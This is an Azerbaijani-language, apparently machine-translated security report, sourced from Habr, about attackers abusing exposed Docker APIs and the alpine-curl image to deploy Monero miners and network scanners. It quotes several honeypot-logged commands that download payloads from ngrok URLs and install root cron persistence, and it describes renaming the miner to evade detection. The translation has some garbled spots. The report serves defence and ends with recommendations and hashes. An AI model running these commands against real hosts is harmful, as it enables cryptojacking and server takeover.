
Təhdidləri izləmək üçün yaratdığımız bal qablarından istifadə edərək toplanmış məlumatları təhlil etdik. Və biz Docker Hub-da icma tərəfindən dərc edilmiş təsvirdən istifadə edərək qeyri-qanuni konteynerlər kimi yerləşdirilən arzuolunmaz və ya icazəsiz kriptovalyuta mədənçilərinin əhəmiyyətli fəaliyyəti aşkar etdik. Şəkil zərərli kriptovalyuta madencilerini təqdim edən xidmətin bir hissəsi kimi istifadə olunur.
Bundan əlavə, açıq qonşu konteynerlərə və tətbiqlərə nüfuz etmək üçün şəbəkələrlə işləmək üçün proqramlar quraşdırılmışdır.
Biz heç bir təhlükəsizlik tədbiri və ya əlavə proqram təminatı quraşdırmadan bal qablarımızı olduğu kimi, yəni standart parametrlərlə tərk edirik. Nəzərə alın ki, səhvlərdən və sadə boşluqlardan qaçmaq üçün Docker-in ilkin quraşdırma üçün tövsiyələri var. Lakin istifadə edilən bal qabları konteynerlərin içərisindəki tətbiqləri deyil, konteynerləşdirmə platformasına yönəlmiş hücumları aşkar etmək üçün nəzərdə tutulmuş konteynerlərdir.
Aşkar edilmiş zərərli fəaliyyət həm də diqqətəlayiqdir, çünki o, zəiflik tələb etmir və həm də Docker versiyasından müstəqildir. Səhv konfiqurasiya edilmiş və buna görə də açıq konteyner şəklini tapmaq təcavüzkarların bir çox açıq serverlərə yoluxması üçün lazım olan yeganə şeydir.
Qapalı olmayan Docker API istifadəçiyə geniş spektri yerinə yetirməyə imkan verir , o cümlədən işləyən konteynerlərin siyahısını əldə etmək, xüsusi konteynerdən qeydlər əldə etmək, işə salmaq, dayandırmaq (məcburi daxil olmaqla) və hətta müəyyən edilmiş parametrlərlə müəyyən bir təsvirdən yeni konteyner yaratmaq.

Solda zərərli proqramların çatdırılması üsulu var. Sağda şəkilləri uzaqdan yaymağa imkan verən təcavüzkarın mühiti var.

3762 açıq Docker API-nin ölkə üzrə paylanması. 12.02.2019/XNUMX/XNUMX-cu il tarixli Shodan axtarışına əsaslanır
Hücum zənciri və faydalı yük seçimləri
Zərərli fəaliyyət təkcə bal qablarının köməyi ilə aşkar edilməyib. Shodandan əldə edilən məlumatlar göstərir ki, biz Monero kriptovalyutası mədən proqramını yerləşdirmək üçün körpü kimi istifadə edilən səhv konfiqurasiya edilmiş konteyneri araşdırdığımızdan sonra məruz qalmış Docker API-lərinin sayı (ikinci qrafikə bax) artıb. Keçən ilin oktyabr ayında (2018, cari məlumatlar təqribən. tərcüməçi) cəmi 856 açıq API var idi.
Bal küpünün jurnallarının tədqiqi, konteyner təsvirinin istifadəsinin də istifadəsi ilə əlaqəli olduğunu göstərdi , təhlükəsiz bağlantılar yaratmaq və ya trafiki ictimai əlçatan nöqtələrdən müəyyən ünvanlara və ya resurslara yönləndirmək üçün alət (məsələn, localhost). Bu, təcavüzkarlara yükü açıq serverə çatdırarkən dinamik olaraq URL-lər yaratmağa imkan verir. Aşağıda ngrok xidmətindən sui-istifadəni göstərən qeydlərdən kod nümunələri verilmişdir:
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”Gördüyünüz kimi, yüklənmiş fayllar daim dəyişən URL-lərdən endirilir. Bu URL-lərin qısa müddətə bitmə tarixi var, ona görə də yararlılıq müddəti bitdikdən sonra yükləri endirmək mümkün deyil.
İki faydalı yükləmə seçimi var. Birincisi, ELF formatında kompilyasiya edilmiş maynerdir. Linux (Coinminer.SH.MALXMR.ATNO kimi müəyyən edilir), mədən hovuzuna qoşulur. İkincisi, şəbəkə diapazonlarını skan etmək və sonra yeni hədəfləri axtarmaq üçün istifadə olunan müəyyən şəbəkə alətlərini əldə etmək üçün hazırlanmış bir skriptdir (TrojanSpy.SH.ZNETMAP.A).
Damcı skripti iki dəyişən təyin edir, daha sonra kriptovalyuta minerini yerləşdirmək üçün istifadə olunur. HOST dəyişəni zərərli faylların yerləşdiyi URL-i ehtiva edir, RIP dəyişəni isə yerləşdiriləcək mədənçinin fayl adıdır (əslində hash). HOST dəyişəni heş dəyişəni hər dəfə dəyişdikdə dəyişir. Skript həmçinin hücuma məruz qalan serverdə başqa heç bir kriptovalyuta madencisinin işləmədiyini yoxlamağa çalışır.

HOST və RIP dəyişənlərinin nümunələri, eləcə də başqa heç bir mədənçinin işləmədiyini yoxlamaq üçün istifadə edilən kod parçası
Mayneri işə salmazdan əvvəl onun adı nginx olaraq dəyişdirilir. Bu skriptin digər versiyaları mayneri mühitdə mövcud ola biləcək digər qanuni xidmətlərlə adlandırır. LinuxBu, adətən, işləyən proseslərin siyahısındakı yoxlamaları keçmək üçün kifayətdir.
Axtarış skriptinin də xüsusiyyətləri var. Lazımi alətləri yerləşdirmək üçün eyni URL xidməti ilə işləyir. Onların arasında şəbəkələri skan etmək və açıq portların siyahısını əldə etmək üçün istifadə olunan zmap binar sistemi var. Skript həmçinin tapılmış xidmətlərlə qarşılıqlı əlaqədə olmaq və onlardan bannerlər almaq üçün istifadə edilən başqa ikili faylı yükləyir, tapılmış xidmət haqqında əlavə məlumatı (məsələn, onun versiyası) müəyyən edir.
Skript həmçinin skan ediləcək bəzi şəbəkə diapazonlarını əvvəlcədən müəyyənləşdirir, lakin bu, skriptin versiyasından asılıdır. O, həmçinin skan etməzdən əvvəl xidmətlərdən (bu halda Docker) hədəf portları təyin edir.
Potensial hədəflər tapıldıqdan sonra, bannerlər avtomatik olaraq onlardan silinir. Skript həmçinin hədəfləri maraqlandığı xidmətlərə, tətbiqlərə, komponentlərə və ya platformalara əsasən süzgəcdən keçirir: Redis, Jenkins, Drupal, MODX, , Docker 1.16 müştəri və Apache CouchDB. Skan edilmiş server onlardan hər hansı birinə uyğun gəlirsə, o, mətn faylında saxlanılır və təcavüzkarlar sonradan sonrakı təhlil və sındırma üçün istifadə edə bilərlər. Bu mətn faylları dinamik keçidlər vasitəsilə təcavüzkarların serverlərinə yüklənir. Yəni, hər bir fayl üçün ayrıca URL istifadə olunur, bu da sonrakı girişin çətin olması deməkdir.
Hücum vektoru növbəti iki kod parçasından göründüyü kimi Docker təsviridir.

Yuxarıda qanuni xidmətin adının dəyişdirilməsi, aşağıda isə şəbəkələri skan etmək üçün zmap-ın necə istifadə edildiyi göstərilir

Yuxarıda əvvəlcədən müəyyən edilmiş şəbəkə diapazonları, aşağıda Docker daxil olmaqla xidmətlərin axtarışı üçün xüsusi portlar var.

Ekran görüntüsündən görünür ki, alp-qıvrım şəkli 10 milyon dəfədən çox yüklənib
Alp dağlarına əsaslanır Linux və müxtəlif protokollar üzərindən faylları ötürmək üçün resurs baxımından səmərəli CLI aləti olan curl kompilyasiya edilə bilər . Əvvəlki şəkildə gördüyünüz kimi, bu şəkil artıq 10 milyon dəfədən çox yüklənib. Çox sayda endirmə bu şəklin giriş nöqtəsi kimi istifadə edilməsini ifadə edə bilər; bu şəkil altı aydan çox əvvəl yenilənib; istifadəçilər bu depodan digər şəkilləri tez-tez endirmirdilər. Docker-də - konteyneri işə salmaq üçün konfiqurasiya etmək üçün istifadə olunan təlimatlar toplusu. Giriş nöqtəsinin parametrləri səhv olarsa (məsələn, konteyner İnternetdən açıq qalır), şəkil hücum vektoru kimi istifadə edilə bilər. Təcavüzkarlar səhv konfiqurasiya edilmiş və ya dəstəklənməyən açıq konteyner tapdıqda, yükü çatdırmaq üçün ondan istifadə edə bilərlər.
Qeyd etmək lazımdır ki, bu şəkil (alp-qıvrım) özü zərərli deyil, lakin yuxarıda gördüyünüz kimi, zərərli funksiyaları yerinə yetirmək üçün istifadə edilə bilər. Oxşar Docker şəkilləri zərərli fəaliyyətləri həyata keçirmək üçün də istifadə edilə bilər. Biz Docker ilə əlaqə saxladıq və bu məsələ ilə bağlı onlarla işlədik.
tövsiyələr
qalıqları bir çox şirkətlər, xüsusən də həyata keçirənlər üçün , sürətli inkişaf və çatdırılma diqqət mərkəzindədir. Hər şey audit və monitorinq qaydalarına riayət etmək zərurəti, məlumatların məxfiliyinə nəzarət etmək zərurəti, eləcə də onların yerinə yetirilməməsindən böyük ziyanla ağırlaşır. Təhlükəsizliyin avtomatlaşdırılmasının inkişaf dövrünə daxil edilməsi yalnız aşkarlanmayan təhlükəsizlik boşluqlarını tapmağınıza kömək etmir, həm də hər bir aşkar edilmiş zəiflik və ya proqram yerləşdirildikdən sonra yanlış konfiqurasiya üçün əlavə proqram təminatının qurulması kimi lazımsız iş yükünü azaltmağa kömək edir.
Bu məqalədə müzakirə olunan hadisə, aşağıdakı tövsiyələr də daxil olmaqla, təhlükəsizliyin əvvəldən nəzərə alınmasının zəruriliyini vurğulayır:
- Sistem administratorları və tərtibatçıları üçün: Hər şeyin yalnız müəyyən serverdən və ya daxili şəbəkədən gələn sorğuları qəbul etmək üçün konfiqurasiya edildiyinə əmin olmaq üçün həmişə API parametrlərinizi yoxlayın.
- Ən az hüquqlar prinsipinə əməl edin: konteyner şəkillərinin imzalanmasını və təsdiqlənməsini təmin edin, kritik komponentlərə girişi məhdudlaşdırın (konteynerin işə salınması xidməti) və şəbəkə bağlantılarına şifrələmə əlavə edin.
- İzləyin və təhlükəsizlik mexanizmlərini işə salın, məs. və daxili .
- Konteynerdə işləyən proseslər haqqında əlavə məlumat əldə etmək (məsələn, saxtakarlığı aşkar etmək və ya zəiflikləri axtarmaq üçün) üçün iş vaxtlarının və şəkillərin avtomatlaşdırılmış skanından istifadə edin. Tətbiqə nəzarət və bütövlüyün monitorinqi serverlərdə, fayllarda və sistem sahələrində anormal dəyişiklikləri izləməyə kömək edir.
Trendmicro, DevOps komandalarına təhlükəsiz şəkildə qurmağa, sürətlə yayılmağa və istənilən yerdə işə salmağa kömək edir. Trend Micro Bir təşkilatın DevOps boru kəməri boyunca güclü, sadələşdirilmiş və avtomatlaşdırılmış təhlükəsizlik təmin edir və çoxsaylı təhlükə müdafiəsi təmin edir. iş zamanı fiziki, virtual və bulud iş yüklərini qorumaq üçün. O, həmçinin konteyner təhlükəsizliyini əlavə edir и , onlar yerləşdirilməzdən əvvəl təhlükələrin qarşısını almaq üçün inkişaf boru kəmərinin istənilən nöqtəsində zərərli proqram və zəifliklər üçün Docker konteyner şəkillərini skan edir.
Kompromis əlamətləri
Əlaqədar hashlər:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
Haqqında Təcrübəli natiqlər yuxarıda təsvir edilən vəziyyətin baş vermə ehtimalını minimuma endirmək və ya tamamilə qarşısını almaq üçün ilk növbədə hansı parametrlərin edilməsi lazım olduğunu göstərir. 19-21 avqustda isə onlayn intensiv olaraq Siz bu və buna bənzər təhlükəsizlik problemlərini həmkarlarınız və praktiki müəllimlərlə dəyirmi masada müzakirə edə bilərsiniz, burada hər kəs öz sözünü deyə, təcrübəli həmkarlarının ağrılarını və uğurlarını dinləyə bilər.
Mənbə: www.habr.com
